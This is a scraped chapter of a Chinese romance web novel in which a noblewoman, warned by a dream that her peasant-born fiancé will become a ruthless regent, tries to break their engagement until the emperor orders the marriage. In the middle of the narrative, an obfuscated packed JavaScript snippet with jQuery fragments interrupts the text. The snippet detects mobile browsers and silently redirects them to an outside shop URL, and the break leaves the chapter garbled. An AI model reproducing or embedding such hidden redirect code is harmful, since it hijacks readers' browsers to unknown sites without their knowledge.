文趣网 > 其他小说 > 始乱终弃了病娇男主后 > 1. 第 1 章
    郊外荒庙,阵阵寒风穿堂而过。

    佛像下蜷缩着一团。

    应霁初往外伸了伸,借着那微弱烛光取暖,身上裹着从乱葬岗拾回的破旧草席,寒风却依旧穿席而过,冻得她瑟瑟发抖。

    她头上还盖着个半破的草帽,向两边飘逸出几缕枯草般的头发,脸上结着几个红疮,有一处刀痕。

    庙外却时不时响起乒乓声。

    一响起,她就跟着心跳骤停,直到声音逐渐远去。

    她狠狠呸了一口。

    这种被日日追杀的日子,她真的受够了。

    她出身显贵,自小金尊玉贵,落得这般落魄下场,只因她十六岁那年冒出的门娃娃亲。

    此人名唤卫池,出身乡野,身无功名,空有副好看皮囊,与她之间犹如云泥之别。

    这样悬殊的差距却订下婚约,只因她父亲一时醉酒,失口承诺,她自是不甘,便趁爹娘不在府中时,亲自上门退婚。

    不曾想,不过短短数年,此人平步青云,连打多场胜仗,击退匈奴,深得陛下器重,成了炙手可热的权臣。

    更是在如今陛下病危之际,他扶持年仅五岁的皇子代掌朝政,一手遮天,曾欺辱他之人,皆化为黄土一捧。

    她正战战兢兢之际,听闻爹娘涉嫌谋反,被下诏狱,匆匆从江南回京,却受到一路追杀,被迫躲至这破庙。

    眼前燃着微弱烛光。

    应霁初裹紧了身上的草席,望着上方的佛像,神色不明。

    忽然,风簌簌吹动,门剧烈晃动着,烛灭了,却响起阵乒乓声,她半佝偻着身探头望去。

    庙外,一座华丽的轿辇正缓缓驶来。

    男子被扶着下了轿撵,穿着身绛紫衣衫,一步三咳。

    赫然是卫池。

    一时间,心跳如锣鼓喧天。

    应霁初往里缩了缩,屏气凝神。

    “她真在此处?”

    “回大人,郡主自从边境遁逃后,一路北上,再听闻消息是,东街一酒楼,捡食的多了个容貌尽毁的女乞。”

    “倒是个可怜见的。”

    她这一路受了不少鄙夷,却从未有一刻,令她如此躁动,难堪。

    似有似无的视线掠过上方的佛像,呼吸陡然停滞,她咽了咽口水,握紧袖口处藏的匕首。

    她不敢贸然探头,直到听到声音逐渐平息,过了半晌,才缓缓探出头,四下无人,却猛然对上双漆黑的瞳孔,正直勾勾盯着她。

    与他四目相接。

    被提着脖颈提溜出去,她被迫仰着头,一阵窒息感席卷。

    “松开!”

    她趁其不备一刀捅进人胸口,可陡然间,刺骨凉意碰到她脖颈处,令她瑟缩不已。

    响起阵轻笑:“阿昭。”

    她脖颈一缩,传来阵刺骨的凉意。

    应霁初被活活吓醒。

    惊魂未定靠在床头,连声唤来贴身侍女。

    她不敢贸然动手,却又不愿他进京履行婚约,只得派人去盯着他,莫给高升之机。

    安稳数日,直到春闱后,听闻有人科举夺魁,连中三元,深受陛下器重,不少人榜下捉婿,正欲派人打听,拉拢一二,就得知那位科举夺魁的少年郎,身骑高头马,一路锣鼓喧天,夹道相迎,却半道下马走进公主府,上门退亲。

    得知消息后,应霁初连衣衫也未来得及换,一阵风似的跑出去。

    刚踏入廊间,就听到窃窃私语声,纷纷议论入耳。

    “乡下来的,就是没眼力见。”

    “谁说不是呢,长公主,相爷好意信守承诺,将郡主许配于他,竟还敢推拒,胆大包天。”

    “像这种人还能科举夺魁,入朝为官,莫不是仗着几分俊俏容貌,做了谁家女眷的裙下之臣。”

    屋外嘲弄,鄙夷的话语一刻不停,直直往耳朵里钻,无孔不入。

    应霁初出于心中一些晦暗的心思,也未阻止,跨过门槛,先映入眼帘的是卫池摇摇欲坠的身影。

    这般落魄,可怜的模样,半点不似梦中那个残暴,可怖的奸臣。

    “你当真要一意孤行退婚!“

    见气氛愈发凝重,她虽也一心退婚,却不愿眼睁睁看着爹娘得罪于他,毕竟卫池那等睚眦必报,还不知在心里记了几笔。

    主动开口解围:“娘,婚事本就是父亲酒后戏言,何必当真,不若将卫大哥记为义子,也算全了两家情谊。”

    平阳长公主冷冷盯了她一眼。

    “这婚约乃结两家永姓之好,已过了圣听,不是你三言两语就能取消的。”

    蓦然响起“扑通”一声,他直挺挺跪下。

    “我出身贫寒,实在配不上郡主。”

    应相道:“你如今三元及第,前途无量,何来的配不上,莫要妄自菲薄。”

    “爹,娘,我与卫公子都无此意,若非要我二人成婚,未免怨侣一生。”

    气氛微微凝滞。

    一旁的婶婶却笑着问道:“阿昭何故不愿嫁,这卫公子生得俊俏,又有功名在身,到时入仕跟随你父亲门下,也不怕欺了你去。”

    “可俊俏,有功名的郎君想求娶我的数不胜数,我为何非得嫁他,何况无论我嫁谁,有爹娘在,都欺不了我。”

    “可卫郎君格外俊俏啊。”

    应霁初一时被哽,的确,若论容貌鲜少人能胜他,哪怕作对多年,有血海深仇在前,她也做不到装瞎否认他容貌。

    只可惜,这样一副好皮囊,人却是那等残忍,可怖。

    话本中他一朝金榜题名,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676425|207482||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是何等意气风发,可比之璀璨前途,先来的是被屡次弹劾,弹劾卫池不忠不孝,对重病的母亲置之不理。

    却受陛下力保。

    没过几日,那些弹劾他的人,有的失足落水,溺水而致记忆衰退,重回幼年,有的意外摔下马,以致终身残疾。

    却没人能抓住他把柄。

    早年间处理人时还略加掩饰,以掩耳目,直到他权势愈重,也越发不加掩饰。

    他开始大肆废除世家,架空皇权,扶持清流,手段也愈发狠厉,凡与他意见相驳的人,下场凄惨。

    运气好的,散尽家财得一辞官回乡之机,却半途病亡,至少留了具全尸,其余的,有些被喂给了豢养在后宫的猛兽,也有些头颅被悬挂城头,以作警示。

    一时间风声鹤唳,人人自危。

    像她爹娘那种能待在诏狱,哪怕是受尽折磨,也算好下场。

    这样的人,她若真嫁予他,岂不是连累全族奔赴黄泉。

    既侥幸得上天警示,叫她在一切发生前得知,无论怎么样也要退掉婚约。

    心中暗暗下定决心,顿时眼眶一红,低垂着头抹泪:“娘,您若真执意要我二人成婚,女儿只能削发为尼,以示决心。”

    “你……”

    平阳长公主自是舍不得朝她发火,只能将怒火转向卫池,冷冷道:“你也是这般想的,宁死不成亲?”

    应霁初默不作声挡到人身前,怕他记恨爹娘。

    突然的动作,令他轻掀起眼睫,打量着她。

    她生得很漂亮。

    一身水红色衣衫,人比花娇。

    上回相见,还是他幼时在应府习书,阔别多年,记忆逐渐淡薄,直到这次相见,那些模糊的回忆才清晰起来。

    只记得,因着家世尊崇,她脾性极为娇纵,任性,针对人的手段低劣,除了皮囊一无是处。

    众人沉默不语,气氛僵持,直到被道刺耳声音打破:“陛下到。”

    卫池敛下神色。

    “长姐倒是为昭儿谋了门好亲事,卫卿乃国之栋梁,前途似锦,配昭儿倒也勉强,既是长姐之愿,朕便全了这门亲事,为她二人亲自下旨,择日完婚。”

    众人望向应霁初,紧视着她的脸色,生怕她暴怒,可人却只是低垂着眼眸,许是来得匆忙,衣襟未拢紧,露出截白皙,纤细的脖颈。

    见她神色尚可,众人谈笑起来,恭维着二人。

    她一抬头,正巧同卫池对上,面面相觑,二人脸色铁青,僵着身体。

    直到夜色渐暗,众人离开。

    她跌跌撞撞回到房间,一头倒在床榻上,生无可恋,将被褥团成一团,狠狠殴打一番,尽情发泄怒气,又再次倒下。

    难道她真要与卫池这等伪君子成婚不成。